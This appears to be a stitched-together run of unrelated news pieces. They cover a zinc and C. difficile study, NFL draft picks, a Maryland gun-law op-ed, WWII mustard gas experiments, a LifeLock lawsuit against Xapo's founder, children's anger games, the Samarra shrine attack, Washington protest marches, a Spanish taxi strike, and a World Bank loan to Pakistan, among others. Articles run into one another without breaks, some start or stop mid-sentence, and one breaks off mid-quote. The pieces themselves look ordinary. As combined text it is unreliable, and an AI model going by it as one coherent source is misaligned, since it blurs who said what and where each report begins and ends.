"Based on these findings, our model [shows] that when mice are on a high-zinc diet, this excess zinc restructures the microbiome in a way that enhances susceptibility to C. difficile, enabling increased replication of the organism and increased toxin activity," Skaar told Medical News Today.
Caution urged for zinc supplementation
Skaar said that due to the differences between mice and humans, they are not able to pinpoint the precise level of zinc that raises a person's susceptibility to C. difficile infection.
Still, he told us their results suggest people who are susceptible to C. difficile infection - particularly those using antibiotics - should be cautious about using zinc supplements.
"We believe our findings indicate that people who are at increased risk for C. difficile should not take zinc supplements unless they have a known zinc deficiency, and in the event that they have a known zinc deficiency the amount supplemented should be carefully dosed so as to avoid excess. In addition, we think that these studies show that all people should consider whether a nutritional supplement makes sense for them based on their diet and any known deficiencies. This work demonstrates that blindly supplementing excess nutrients can have severe negative consequences and may tip the balance of host-pathogen interactions in favor of the infecting organism." Eric Skaar, Ph.D., Vanderbilt University
In future research, the team hopes to uncover the precise mechanism by which dietary zinc raises susceptibility to C. difficile, which they hope will advance treatments for the infection - such as fecal microbiota transplantation.
"We hope to use this information to increase the efficacy, safety, and generalizability of fecal transplant therapy by learning how dietary metals can affect the microbiome," he told MNT.
"Finally, we are currently expanding this work to determine the impact of alterations in dietary metals on other infectious diseases, and we have some very interesting findings in this regard that we look forward to reporting."
Read about a study that describes how deworming drugs could treat C. difficile infection.The NFL announced Friday that the Arizona Cardinals had been awarded one compensatory pick in the upcoming draft.
The pick, which is in the fifth round, will be No. 181 overall.
The NFL doles out compensatory picks based on teams losing and signing free agents. If a team loses more or better compensatory free agents than it acquires, it will be eligible for extra picks. Not every free agent falls under the compensatory umbrella.
According to the NFL, the Cardinals were one of four teams who were eligible to receive more than one pick, but the CBA limites the number of picks given out to the number of teams in the league, which is 32. The Cardinals, along with the Rams, Packers and Steelers will not receive those picks “because the final numerical values of the CFAs who were lost by those clubs ranked 33rd through 39th among the final numerical values of all compensatory selections.”
The compensatory-level free agents the Cardinals lost included safety Rashad Johnson, lineman Ted Larsen, tackles Bobby Massie and Bradley Sowell, cornerback Corey White and linebacker Sean Weatherspoon. Conversely, they signed safety Tyvon Branch and guard Evan Mathis.
The Cardinals, who hold the 13th overall pick in the draft, currently hold eight selections overall.
Follow @theAdamGreenMark Newgent of Red Maryland and Watchdog Wire takes issue with the Aug. 25 commentary by Vincent DeMarco touting the successes of the 2013 Firearms Safety Act.
By Mark Newgent
G.K. Chesterton once said fallacies do not cease to be fallacies simply because they become fashion. This describes Vinny DeMarco’s utterly unoriginal and fallacy laden piece, defending the Firearms Safety Act of 2013.
DeMarco’s use of a tiny statistical snap shot is intended to deceive readers into believing the law is responsible for reductions in gun deaths. Like most of his claims, however, whether they concern cigarettes, or health care, the assertion about the law’s effectiveness is un-clever spin designed to fool the public.
DeMarco thinks if he merely adds the phrase “saves lives” to the end of his assertions that by some alchemy they become fact. The law certainly did not prevent Darion Marcus Aguilar from murdering Briana Benlolo and Tyler Johnson last January at the Mall in Columbia.
Steep national decline in gun violence
The truth is gun violence in the nation was already on a steep national decline over the last two decades. The U.S. Department of Justice 2011 special report Firearm Violence 1993-2011 shows a dramatic 39 percent drop in gun deaths over that period, and non-fatal gun crimes dropped 69 percent.
Where did the bad guys get their guns from to commit these crimes? A 2004 Justice Department Survey of inmates found that only 10 percent of those who committed gun crimes purchased they legally or through gun show loopholes. A full 40 percent responded that they obtained their guns illegally.
In other words gun crimes were on the decline before DeMarco and Governor O’Malley decided to exploit the Sandy Hook tragedy for political gain.
Inconvenient statistics
These statistics and the reality of the matter are inconvenient for DeMarco and Governor O’Malley.
This is especially interesting given O’Malley’s affinity for statistical analysis. After all, why did Governor StateStat’s aides prevent a Maryland State Police Commander from testifying before the legislature that SB 281 (the Firearms Safety Act) would do nothing to prevent violent criminals obtaining illegal guns or help reduce crime?
We do know that keeping violent offenders behind bars longer helps reduce crime However, where was DeMarco’s concern for “saving lives” when the House Judiciary Committee, through legislative trickery killed a duly passed amendment to SB 281 that would have imposed mandatory minimum sentences and eliminated good behavior credits for criminals who used illegal firearms in the commission of a crime.
Apparently DeMarco’s concern for saving lives ends at the interests of Maryland’s trial lawyers.
Assault weapons in hands of militarized police
DeMarco boldly boasts a woefully un-informed federal judge’s decision to uphold the Firearms Safety Act from a legal challenge. He proudly claims that assault weapons (guns that fire one shot per trigger pull) and high capacity magazines, which he labels “weapons of mass destruction,” are no longer legal for sale in our state.”
He’s right they aren’t for sale, however, they are in the hands of our militarized police forces and SWAT units. Maryland’s SWAT data shows that over the last four years these heavily armed SWAT units were deployed over 6,500 times, mostly to serve warrants on non-violent criminals. The state law requiring police departments with SWAT units to deliver annual reports on deployments quietly expired in June.
These “weapons of mass destruction” are on our streets and in our communities–in the hands of militarized police forces that are increasingly using them against the populace they are sworn to protect—see Ferguson, Mo., and close to home the killing of Labrador Retrievers belonging to Berwyn Heights Mayor Cheye Calvo in a botched drug raid by a Prince George’s County SWAT team.
In Vinny DeMarco’s world it’s perfectly fine for the weaponized arm of local government to possess such weapons, just not citizens to defend themselves from the criminals our gun laws don’t affect.
Mark Newgent is the founding editor of Red Maryland and Maryland state editor of Watchdog Wire.The debate around Charleston and the Confederate battle flag has forced the topic of racial trauma into daily conversation. How fitting, then, that the Pentagon was called out for its own contribution to our racist history on the same day South Carolina Gov. Nikki Haley called for the flag's removal from the State House.
World War II was ugly for soldiers of color. The atrocities they witnessed were rivaled only by their degradation at the hands of their commanders — forced segregation, confinement to menial tasks like cooking and cleaning for white soldiers and unpleasant work like burying the dead.
But NPR has uncovered another function they served: Determining how the human body reacts when put in contact with mustard gas.
When discrimination is part of service: After a long investigation, NPR reports that black, Puerto Rican and Japanese-American soldiers were part of a Pentagon program, made public in the early 1990s, wherein 60,000 enlisted men were experimented upon to see how the chemical impacted them physically. White soldiers were experimented upon as well, but they served as control subjects, NPR found: "Their reactions were used to establish what was 'normal,' and then compared to the minority troops."
Susan Matsumoto, whose husband, Tom, was a Japanese-American subject in the experiments, told NPR that her husband "was OK with the testing because he felt it would help 'prove he was a good United States citizen.'" (Tom died from pneumonia in 2004.)
AP Corporal Francis Rivers, of Cambridge, Mass., uses his motorcycle as a shield while he fires at the enemy during maneuvers in England on Oct. 2, 1942. At the time he was serving as a scout for his unit which was attacked by enemy planes, which dropped smoke bombs and simulated mustard gas.
NPR adds that at least one researcher believes the segregated testing of black, Puerto Rican and Japanese-American soldiers may have been used in a search for an "ideal chemical soldier" — a racial group that could be deployed on the front lines during combat to absorb chemical attacks while white soldiers hung back and waited.
Testing on Japanese-American soldiers was also used to project how a U.S. mustard gas attack might impact Japanese forces.
The chemical testing incorporated three methods. According to NPR, these were "Patch tests, where liquid mustard gas was applied directly onto test subjects' skin; field tests, where subjects were exposed to gas outdoors in simulated combat settings; and chamber tests, where men were locked inside gas chambers while mustard gas was piped inside."
These experiments aren't as far behind us as we might want to believe. Some of their victims are still alive today. One — 93-year-old Rollins Edwards of Summerville, South Carolina — used to carry around a jar of his own peeled skin, which still flakes off more than 70 years after the experiments, to prove to people what happened to him.
The Pentagon has acknowledged these experiments and insisted that the Department of Defense would never perform them today. But their survivors testify to a persistently relevant fact:
Even the forms of racism we thought we left behind are still here to haunt us. Just because we don't see them every day doesn't mean they aren't there.
h/t NPRXapo is one of the bitcoin market's hottest companies. It has raised $40 million from top venture capitalists. It has added luminaries to its advisory board, like former U.S. Treasury Secretary Larry Summers and Visa founder Dee Hock. It also is the subject of a previously-unreported fraud lawsuit that could eventually threaten its very existence.
The plaintiff is LifeLock ( lock ), a $1.5 billion online-identity security company that in December 2013 paid $42.6 million to acquire Lemon, a digital wallet company led by eventual Xapo founder Wences Casares. In its complaint, LifeLock claims that Xapo was launched "using a product developed by Lemon employees, in Lemon's facilities, on Lemon's computers, and on Lemon's dime."
Casares and four other Xapo employees (each of whom previously worked at Lemon) are named as defendants. Xapo itself is not named, but LifeLock is asking the court to force Casares, et al to disgorge "the value of the Xapo product attributable to Defendants’ misrepresentations, omissions, breaches of duty, and other wrongful conduct." And, if Casares is found guilty, LifeLock -- which has a long history of being sued itself -- could be emboldened to file its next complaint directly at Xapo.
Recent history
According to LifeLock, Lemon originally began work in April 2013 on a bitcoin product that would be integrated into its main digital wallet offering. But Lemon's board of directors killed the project that summer, around the same time that it entered into merger conversations with LifeLock. It is unclear if the board's directive and the merger talks were related, although LifeLock says that it declined an early offer to only acquire the digital wallet app, which would have allowed Casares to "continue developing a bitcoin business."
The two sides worked out a deal for all of Lemon in mid-September, and the transaction closed three months later. It valued Lemon at $42.6 million, although $5 million of that was put into an escrow that LifeLock would later claim for performance issues unrelated to the lawsuit (effectively valuing the purchase at $37.6 million). There is no mention in the merger agreement of a carveout for bitcoin IP.
LifeLock says that it was aware that Casares had built himself a "personal" bitcoin storage vault. In January 2015, however, he told the board that other investors were asking to store bitcoin with him, and requested "a letter from LifeLock acknowledging that it would not stake claim to Casares’ bitcoin storage vault or their bitcoins, and thereby place their investments at risk." Casares subsequently asked for similar letters for five other Lemon employees -- two of which were part of an Argentinian subsidiary --to which LifeLock rejected the request, "expressly telling Casares that no other Lemon employees could work on his personal storage venture."
From the complaint:
Casares then claimed that those individuals were also investors and that he simply wanted an acknowledgement that they could be investors and provide strategic advice. Casares agreed that under no circumstances would those individuals perform day-to-day work and, indeed, would provide nothing more than strategic advice for what LifeLock understood to be Casares’ personal bitcoin storage business that he intended to offer to other wealthy Silicon Valley investors.
LifeLock provided the letters, referring to the five other Lemon employees as "strategic advisors" and "investors." On March 6, 2014, Casares presented four of those five acknowledgement letters for signature to LifeLock president Hillary Schneider. Less than one hour after the documents were executed, Casares tendered his resignation.
Courtesy of Xapo
Given that LifeLock still allegedly thought Casares was just working on his pre-existing bitcoin storage vault, it asked him to remain "through an orderly transition and Casares agreed to delay his departure in order to do so."
On March 13, Casares announced the launch of Xapo, with $20 million in venture capital from Benchmark, Ribbit Capital and Fortress Investment Group ( fig ). He also told The New York Times that Xapo's team included three people who, at the time, were still full-time Lemon/LifeLock employees. One of them, Frederico Murrone, had received one of the aforementioned acknowledgement letters (which Fortune has learned did refer explicitly to "any IP related to bitcoin").
Lemon immediately began investigating, which included interviewing employees (excluding Casares, who refused) and forensically imaging all Lemon computers and servers (including those in Argentina). It claims to have found a treasure trove of evidence that Casares and his co-defendants had kept developing Lemon's bitcoin technology "in secret" long after the board had ordered it to stop—in the Lemon offices, on Lemon computers, "during Lemon-paid business hours." In fact, a Xapo-branded and logo'd app quietly launched in the Google Play store just six weeks after Lemon's acquisition by LifeLock, and more than a month before Xapo's formal launch announcement.
Forensic analysis of Defendants’ computers also revealed presentations that Defendants had authored for potential Xapo investors during the time they were employed by Lemon, detailing the bitcoin wallet functionality of the app. One of these presentations touted the fact that “Xapo offers both a wallet and cloud-based cold storage” and that Xapo would offer “seamless 1-click transfer from Wallet to Vault.” The document’s metadata indicates that it was last modified on February 4, 2014—months after LifeLock’s acquisition of Lemon. Electronic artifacts on Casares’ computer indicate that Casares too had had Xapo-related files on his Lemon computer going back to December 2013, but that Casares deleted those files from his Lemon computer shortly before tendering his resignation.
And it goes on. For example, the complaint claims that Lemon general counsel (and current Xapo president) Cynthia McAdam "often claimed the need to work from home," but actually was working from Xapo's Palo Alto offices on Xapo business (she is named as a defendant).
Wences Casares Photograph by Scott Olson — Getty Images
McAdam's Lemon contract expired on the same day as the Times story was published, but Lemon soon terminated for cause three remaining employees who were believed to be Xapo employees, including Frederico Murrone. It negotiated for nearly four months with Casares before also firing him for cause on August 1, 2014.
Lemon then filed its suit in Santa Clara Superior Court on October 3, 2014. Neither Casares nor his co-defendants have yet filed a formal response, although Casares and McAdam have filed the equivalent of a motion to dismiss.
This motion -- known as a demurrer, in which defendants don't actually refute plaintiff allegations -- mostly focuses on the acknowledgment letters, with Casares arguing that he was indeed given latitude to work on Xapo. The defense also asserts that Lemon is making an arbitrary distinction between Xapo "employees" and "advisors," writing:
In Defendants' industry, it is not uncommon to describe persons collaborating on a project as advisors—indeed, even Steve Jobs was reportedly brought in as an "advisor" to Apple when he returned to that company in 1997.
Recent court filings show that the "discovery" period could soon commence, although it is far too early to determine if this case will ultimately go to trial.
Big bitcoin buzz
Casares, a serial entrepreneur from Argentina, is something of a figurehead in the bitcoin community, since he has a number of hits on his resumé. He founded Patagon, an Argentinian online brokerage in 1997 and sold it to Banco Santander in 2000 for $750 million. He founded Wanako Games, a Chilean videogame developer in 2002 and sold it to Activision ( atvi ) in 2006. Then, of course, there was the creation and sale of Lemon.
Much like Barry Silbert (the creator of SecondMarket, who founded the Digital Currency Group) or Halsey Minor (founder of CNET, who founded BitReserve), Casares is seen as one of the big names in broader tech that later jumped into bitcoin—a good sign for the industry. In a talk at Chicago Ideas Week this year, Casares called bitcoin "the new gold standard."
But this lawsuit threatens both his reputation and his company's intellectual property. One former IP attorney, speaking to Fortune on background, said that the LifeLock suit against Casares is "exactly the worst kind of IP suit for the defendant."
Although Xapo is well funded with big-name advisors, it has had its recent struggles. Tech blog The Information reported last fall that two banks have ended their relationships with the startup. Casares was quoted in that story as summing up the banks' views thusly: "Here’s a cashiers check for all your cash, thank you for your business." The company also moved its global headquarters to Zurich last month, attracted by its "regulatory stability," Casares said, during a time when bitcoin companies based in New York are concerned about the state's BitLicense regulatory framework.
Casares has not commented about the suit on the record, but his attorney Steven Ragland (who also is representing McAdam) provided the following statement:
This is a baseless lawsuit. LifeLock has no right to any Bitcoin related business or IP that Wences Casares or his colleagues may have worked on during their time at Lemon or after. As LifeLock |
chance to put some feelings onto paper.
Rolling Out Anger: If you have access to a grassy lawn, rolling in grass can be incredibly grounding and calming. Encourage children to say something that they are angry about and then have them “roll” out the anger onto the lawn. Children usually end up enjoying the rolling so much they can soon move on from feeling anger into a lot of laughter which is often very healing.
Pillow fight: This is a classic, but it can be such a wonderful release for children to hit mom/dad with a fully pillow. It makes children feel powerful and confident, especially if mom/dad tumbles down or waves the pillow case in defeat 😉 It’s helpful to set some ground rules before playing like no tackling, no hitting with pillows on the face and everyone should respect the word “Stop”.
Pounding play-dough: Most children love tinkering with play-dough but this game goes beyond sculpting, cutting and modeling clay. Pounding play-dough is about really smashing, throwing and pounding a big chunk of play-dough while being encouraged to vent any frustrations or angry feelings. A final step to finish the process is to after pounding out the anger, encouraging your child to re-shape the play-dough into a shape or sculpture that makes them feel happy again. It’s a great exercise in moving through feelings and then moving forward!
Animal Breaths: The way we breathe has an incredible impact on how we are processing our surroundings. When a child is feeling angry, if we can help them breathe through their thoughts, it can be incredibly grounding, empowering and eventually calming. A giant Lions breath with roaring included is a great way for children to release anger. Short, shallow bunny breaths can help children focus again and long snake like slithering breaths are very calming.
During these games, don’t worry about solving any problems or offering solutions in that moment, a simple “I hear you” or “would you like to share anything else” can keep the communication open. There may be some tears, laughter and a host of other feelings to go through…try to simply be present and acknowledge the feelings and words your child is sharing and gently guide your child through the activity.
Does your child get angry? How do you support your child in dealing with anger and other big feelings?
Peace & Be Well,
Ariadne
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Looking for more inspiration, ideas and resources for positive parenting? Come join Positive Parenting Connection on facebook!The dome was largely destroyed in 2006 by extremists who entered the shrine and set off explosives. It was later rebuilt.
Hospital officials in Samarra reported that six people were killed and 23 others were wounded in the attack.
The Iraqi government has heavily reinforced the city of Samarra, about 80 miles north of Baghdad, to prevent insurgents with the Islamic State in Iraq and Syria from carrying out such attacks on the shrine. It has so far prevented ISIS from entering Samarra or getting close to the shrine area.
ISIS has made no secret of its intention to foment a sectarian war in Iraq, as Al Qaeda did in 2006.
The attack was likely to arouse fears of retaliatory attacks in an atmosphere where Sunnis have already become victims of random, apparently sectarian killings in Baghdad and elsewhere, as a response to the advances by ISIS in Sunni parts of the country.Date Name Description
1963 August 28 March on Washington for Jobs and Freedom Major civil rights march at which Martin Luther King, Jr. delivered his "I Have a Dream" speech from the steps of the Lincoln Memorial. 250,000 gathered for the event.
1966 May 16 Another march against the Vietnam War
1968 – May 12 – June 19 Solidarity Day June 19, part of the Poor People's Campaign SCLC campaign to push for a Federal $30 billion anti-poverty package. Several thousand demonstrators built and camped in Resurrection City, while they lobbied Congress for the program until heavy rain and mud ended the encampment. 50,000–100,000 estimated in attendance. Juneteenth Rally for economic justice, during which tens of thousands joined the Resurrection City shantytown established on the Mall in May.[11]
1969 – October 15 Moratorium to End the War in Vietnam Vietnam Moratorium. 200,000 demonstrate against the Vietnam War in D.C. and many more across the country.
1969 – November 15 National Mobilization Committee to End the War in Vietnam Vietnam Moratorium, 600,000 gather and demonstrate against the war in Vietnam. Widely considered the largest march in the history of the United States at that point. The march and all-day rally on the Mall culminated a week of protests throughout the city, including a "March Against Death" from Arlington National Cemetery past the White House to the U.S. Capitol led by pediatrician Dr. Benjamin Spock and the Rev. William Sloane Coffin of Yale.
1970 – April 4 Victory March A rally, organized by the Reverend Carl McIntire, the fundamentalist preacher and anticommunist radio commentator, calling for victory in the Vietnam War. Drew 50,000.
1970 – May 9 Kent State/Cambodian Incursion Protest A week after the Kent State shootings, 100,000 demonstrators converged on Washington to protest the shootings and President Richard Nixon's incursion into Cambodia
1970 – July 4 Honor America Day A rally put together by supporters of President Nixon hosted by Bob Hope[12]
1970 – August 26 Women's Strike for Equality Held nationwide, it brought out around 20,000 female protestors in D.C., New York City elsewhere to demand equal rights for women. The march helped expand the women's movement
1971 – April 19–23 Operation Dewey Canyon III Sponsored by the Vietnam Veterans Against the War and named after Operation Dewey Canyon—two secret US military incursions into Cambodia and Laos—this anti-Vietnam War march included over 1,000 veterans camping on the National Mall and protests all over the city, including in front of the U.S. Supreme Court. John Kerry testifies in front of Senate.[13]
1971 – May 3 1971 May Day Protests Mass action by Vietnam anti-war militants to shut down the federal government. The slogan was "If the government doesn't stop the war, we'll stop the government." The official protest button featured Gandhi with a raised fist. A non-violent mass civil disobedience campaign of blocking traffic led to the single largest mass arrest in the history of the United States: some 10,000 people, many of them temporarily held behind fences at the Washington Redskins practice field, surrounded by National Guard troops.
1972 – May 21 Emergency March on Washington Organized by the National Peace Action Coalition and the People's Coalition for Peace and Justice to protest the U.S.'s increased bombing of North Vietnam and the mining of N.V. harbors. Demonstration draws between 8,000 and 15,000 protesters.
1972 – May 27 March to protest apartheid in South Africa 8,000–10,000 attendees.[14]
1973 – January 20 Anti-war protest demonstration Includes the Yippies-Zippie RAT float & SDS, "March Against Racism & the War" contingent.
1974 – January 22 March for Life Pro-life demonstration held (annually) on the anniversary of Roe v. Wade.
1974 – April 4 Honor Dr. King - March for Jobs Now Washington DC rally sponsored by National Coalition Against Inflation and Unemployment and other groups.
1974 – April 27 Impeachment of President Richard M. Nixon Ten thousand participants.
1975 – April 26 Solidarity Day According to two participants, sponsored by the IUD - Industrial Unions Dept of the AFL-CIO, and many other groups that supported the April 4, 1974 March for Jobs Now! rally sponsored by the National Coalition to Fight Inflation and Unemployment. George Meany spoke and notably said, "All are welcome." More information is needed on this event; efforts are being made to obtain it as of January 2017 edit.
1977 – August 26 March for the Equal Rights Amendment. Drew thousands of feminists, including original suffragettes.
1978 – July 9 March for the Equal Rights Amendment Drew 100,000 feminist women and men.[16]
1978 – July 11 Longest Walk Thousands of Native Americans finish their 3200 miles long walk from San Francisco, rallying at the National Mall for religious freedom for traditional American Indians and against eleven drafts discussed at the Congress, and considered anti-Indian by the native community.
1979 – February 5 Tractorcade 6000 family farmers drove their tractors to Washington D.C. to protest American farm policy.
1979 – May 6 Anti-Nuclear March Drew 125,000 people opposed to nuclear power and weapons following the Three-Mile Island accident.[17]
1979 – October 14 National March on Washington for Lesbian and Gay Rights First such march on Washington drew 75,000–125,000 gay men and lesbians to demand equal civil rights.
1979 – November 9 Iran Hostage Crisis A sign said "Deport all Iranians" and "Get the hell out of my country".
1981 – May 3 People's Anti-War Mobilization (PAM) / May 3 Coalition March to protest Reagan Administration Central American and domestic policies; 100,000 march. Themes were stop the U.S. war buildup; U.S. hands off El Salvador; divest from Southern Africa; money for jobs and human needs, not for the Pentagon; stop racist violence; end lesbian and gay oppression.[20]
1981 – September 19 Solidarity Day march AFL-CIO organized march to protest Reagan Administration labor and domestic policies; 260,000 march.
1982 – November 27 Washington Anti-Klan Protest.
1983 – August March on Washington commemorating the 20th anniversary of the Martin Luther King, Jr. "I Have a Dream" speech.
1986 – March 1 – November 15 The Great Peace March for Global Nuclear Disarmament From Los Angeles, California to Washington D.C. (a.k.a. The Great Peace March) to raise awareness of the growing danger of nuclear proliferation and to advocate for complete, verifiable elimination of nuclear weapons from the earth.
1986 – March 9 March For Women's Lives – Reproductive Rights Rally National Organization for Women organized the 1986 'March For Women's Lives,' a massive pro-choice rally held in Washington D.C. on 9 March 1986.[21]
1987 – April 25 Mobilization for Justice & Peace in Central America & Southern Africa The march began at noon, going north up 17th Street NW from Constitution Avenue, winding past the White House and ending with a rally on the west steps of the Capitol about 2 p.m. Speakers included the Rev. Jesse Jackson, Eleanor Smeal and Ed Asner, with music performances by Peter, Paul and Mary, and Jackson Browne.[22]
1987 – May 25 Rolling Thunder Run to the Wall Rolling Thunder is an annual motorcycle demonstration to bring awareness to issues related to American POW/MIA. It has evolved to be a more generic demonstration in support of soldiers and veterans.[23]
1987 – October 11 Second National March on Washington for Lesbian and Gay Rights The second such march on Washington drew 500,000 gay men and women to protest for equal civil rights and to demand government action in the fight against AIDS.
1989 – April March for Women's Lives Sponsored by the National Organization for Women. Attendance estimated at 500,000.
1990 January Rally for Life 1990 Took place at the Washington Monument Grounds. According to National Park Service estimates, over 700,000 people attend the rally.[24]
1991 – January 19 and 26 Dual Marches against the Gulf War The National Campaign for Peace in the Middle East estimated 250,000 attended the march on the 26th, but the National Park Service estimated attendance at 75,000. The march on January 19 was estimated at 25,000.
1992 – April 5 March for Women's Lives Pro-choice march organized by the National Organization for Women. The name would be reused for a similar 2004 event.
1992 – May 16 Save our Cities! Save our Children! Estimates put the crowd at 150,000.
1993 – April 25 March on Washington for Lesbian, Gay and Bi Equal Rights and Liberation Organizers estimated 1,000,000 attended and the D.C. Police Department put the number between 800,000 and more than 1 million, but the National Park Service estimated attendance at 300,000.
1995 – October 16 Million Man March A gathering and atonement of men from across the U.S. The United States Park Police officially estimated the crowd size at 400,000 while a Boston University study put the number at 837,000.[25]
1996 – October 12 Immigrant Rights March First national march in D.C. for equal rights for immigrants.In Barcelona, the strike is due to last 24 hours. In other cities, such as Valencia, drivers walked off the job for two hours this morning.
A march is planned in central Madrid for midday, with taxi drivers descending on the capital from all over Spain.
This is the second strike by taxi drivers in Spain this year.
A march is planned in central Madrid for midday, with taxi drivers descending on the capital from all over Spain
In late 2014, a Spanish court ordered Uber to stop operations in the country after a complaint from a taxi association that came in the wake of numerous protests from the sector. However in mid-2015, the firm returned to Barcelona operating as a food-delivery service known as Uber Eats.
In March 2016, Uber made a comeback in the Spanish capital in the form of UberX, which sees users put in touch with professional drivers holding passenger transport vehicle (VTC) licenses, which fall under different regulations from the taxi sector.
Among the complaints of the taxi sector is the practice of VTC drivers picking up passengers in contravention of the rules. By law, such vehicles can only collect clients who have booked them previously. “They make clandestine stops, near busy areas, with the app activated so that a vehicle will appear close to possible customers,” says Fedetaxi. But Cabify and Uber deny such practices. “Before we used to have to go back to the base after finishing a service, but now we are allowed to stop near the destination of the last customer,” explains an Uber driver.
The Spanish Taxi Federation (Fedetaxi) has called for the creation of a publicly run digital platform that would allow customers to book a taxi anywhere in Spain, along with public-private funding to help drivers leave the profession and retrain.
The ideas, outlined in a document called “Proposals in favor of the Public Taxi Service in Spain,” will be presented to Congress after Tuesday’s march in central Madrid.
Fedetaxi says a publicly owned digital platform would improve “the quality and competitiveness” of Spain’s taxi service and would be focused on tourism as a strategic sector.”
Spanish news agency EFE reports that center-right political party Ciudadanos has proposed convening a “negotiation table” between taxi drivers and companies such as Uber and Cabify, “so they can reach agreement” to resolve the ongoing dispute.
“We need to define rules that are the same for all,” said Ignacio Aguado, Ciudadanos’ spokesman at Madrid City Hall.
“We support the new business models,” said Aguado, adding that his party would not “close the door on those people who want to do create new businesses.”
English version by Nick Lyne.Having your town be a high-tech center has its advantages. One of them showed this week when a sensor company found oil in Huntsville's iconic Big Spring Park lagoon downtown.
Polaris Sensor Technologies engineer Katie McCann was strolling in the park Wednesday when she smelled and saw oil, company managers said. McCann reported the oil to the city but, unlike most people, she had a tool at her nearby office to get more data.
Located at 200 West Side Square downtown, Polaris makes sensors for military, scientific and commercial uses. One of those sensors can image oil in water using reflected thermal light. The sensor showed the spread of the oil in the lagoon. (See the Polaris video below).
The city sent a crew and notified Huntsville Fire and Rescue and the Haz Mat Team. Both responded, and oil absorbent booms were placed on the east side of the Monroe Street bridge. Vacuuming trucks were also dispatched Thursday and Friday. Meantime, Polaris sent its video to the city so it could see the size of the spill
"We have yet to determine the source of the discharge," the city told AL.com Friday. "This is an event that could have happened some time ago and the rain we received Tuesday (the first real rain we have received in quite a while) flushed it from the storm sewer. The volume of material is decreasing indicating that this is not an ongoing event."
The effect of the oil on the lagoon's ducks and fish isn't clear yet. But here's hoping they dodged it.Last week we learned via VoteVets that Donald Trump’s federal hiring freeze had killed child care services at two military bases in the US and Germany.
Now there’s news that two more bases are about to stop offering child care services for military members due to Trump’s freeze.
First it was bases at Fort Knox, Kentucky and Wiesbaden, Germany that had to suspend their child care programs. Because of the ensuing bad publicity, Trump offered those two bases wavers from the freeze.
Now it’s two more bases in Germany. VoteVets obtained an Army memo announcing the cutbacks:
This is the problem with elected someone with little government experience, whose team has little government experience, and who excels at hubris. He likes to rush and do “big things,” without any regard to the consequences. That’s how you get child care facilities closed, and soldiers killed.
With the election of Donald Trump, AMERICAblog’s independent journalism and activism is more needed than ever.
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Follow @aravosisDisbursement is for public finance management, National Transmission Modernization Project-I
ISLAMABAD: The World Bank has approved a loan package of $825 million for improving Pakistan’s public finance management by introducing a new law and upgrading the country’s dilapidated power transmission system to support new generation in the sector.
But the Washington-based lender has pegged the disbursement of $400 million loan for Public Finance Management with the introduction of a new law in parliament, highlighting adverse implications of growing dependency on the lenders on the country’s public policies. The Board of Directors of the World Bank also approved a $425-million loan for National Transmission Modernization Project-I, taking total disbursement to $825 million.
The $425-million loan has been obtained on commercial terms that will be returned over a period of 21 years, including a grace period of 6 years. The PFM reform programme is financed by the International Development Association, the World Bank’s fund for the poor, with a maturity of 25 years, including a grace period of five years.
corporate corner: Askari Bank launches new facility
The $425 million loan will be utilised to modernise the national transmission system by rehabilitating selected 500kV and 220kV substations and transmission lines. The existing transmission system has the capacity to dispatch about 15,000-17,000 megawatts of electricity safely, which is substantially below the generation constrained peak load of over 20,000 MW, according to the World Bank.
It said that system reliability has deteriorated substantially, resulting in several instances of major system collapse in recent years, which appear to be increasing in frequency and severity.
With a substantial volume of new generation now coming online, the strengthening of the transmission and distribution systems is critical, said Illango Patchamuthu, the World Bank Country Director for Pakistan.
The project having a total cost of $562 million will improve supply reliability and lower losses in the transmission network. The government will also contribute $137 million.
The World Bank said that Pakistan’s plan to expand power generation during 2017-2022 was beginning to bear fruit. To address the gap between electricity demand and supply, the government has plans to increase generation capacity by 30,000MW by 2022. There has been progress in securing $36 billion required for this expansion, including funds for power system investments planned under the China-Pakistan Economic Corridor, it added.
Pakistan also availed $800 million loan from the Asian Development Bank for improving the transmission system but its implementation was marred by delays.
Public finance
The lender also approved $400 million loan for improving the current legal regime of public finance management. The public financial management inefficiencies contribute to Pakistan’s weak performance in health and education sector, and despite a substantial increase, financial resources fail to reach clinics and schools on time, said the World Bank.
The $400 million public financial management reform programme will address these challenges through the enactment of a robust public finance management law, which will lead to decentralisation of payment and empower the front-line service delivery managers, it added.
The programme will also focus on strong cash management; timely and comprehensive reporting; improved federal-provincial coordination; timely release of funds; streamlined payroll and pension systems; efficient and transparent procurement, and user-friendly reports for citizen engagement.
The World Bank pegged disbursement of the $400-million loan to the approval of the draft Public Finance Management Bill 2017 from the National Assembly. The releases will be linked with the initiation of the process to get the bill approved.
Banks told to implement State Bank’s SOP for security
The World Bank has found serious flaws in the current public finance management system that it wants to correct through a billion-dollar programme.
The World Bank stated that budgeting, accounting, reporting and auditing rules and procedures require revisions to align the government’s financial management system with medium-term budgets, electronic fund transfers and requirements due to a shift in responsibilities after the 18th Amendment in the Constitution.
It further noted that there was no link between approved budget and procurement plans with inefficiencies in procurement systems and processes that result in project implementation delays. There is also a need for improved and timely service delivery in pension payments to prevent and detect unlawful pension payments on time.
Published in The Express Tribune, December 21st, 2017.
Like Business on Facebook, follow @TribuneBiz on Twitter to stay informed and join in the conversation.
Read full storyBEIJING (Reuters) - China’s Defence Ministry said on Friday people shouldn’t read too much into a state media broadcast of live-fire military and landing drills, just days after a landslide election win by an independence-leaning opposition party in Taiwan.
Democratic Progressive Party (DPP) Chairperson and presidential candidate Tsai Ing-wen waves as she arrives at the headquarters of DPP, following the DPP's victory in Saturday's presidential and parliamentary elections, in Taipei, January 18, 2016. REUTERS/Stringer
The self-ruled island expressed serious concern on Thursday over the mainland’s broadcast. Its defence ministry confirmed China recently carried out “winter exercises”, but said that the pictures in the video were archive clips spliced together of drills conducted in 2015.
China considers Taiwan a wayward province, to be brought under its control by force if necessary. Defeated Nationalist forces fled to Taiwan in 1949 after the Chinese civil war.
“The relevant media report is a summary of training manoeuvres organised last year by troops. There is no need to over-interpret them,” China’s Defence Ministry said in a two-sentence statement faxed to Reuters.
Late on Wednesday, Chinese state television said the 31st Group Army, based in China’s southeastern city of Xiamen, opposite Taiwan, had carried out the drills in “recent days”, but it did not give an exact location.
The channel broadcast images of amphibious armoured vehicles ploughing through the sea towards a landing site, helicopters firing missiles at shore locations and soldiers parachuting down from helicopters.
The report made no direct mention of the Taiwan election, but a Taiwanese military official, who spoke on the condition of anonymity, said the broadcast may be “psychological warfare” warning the new Taiwan government to tread carefully.
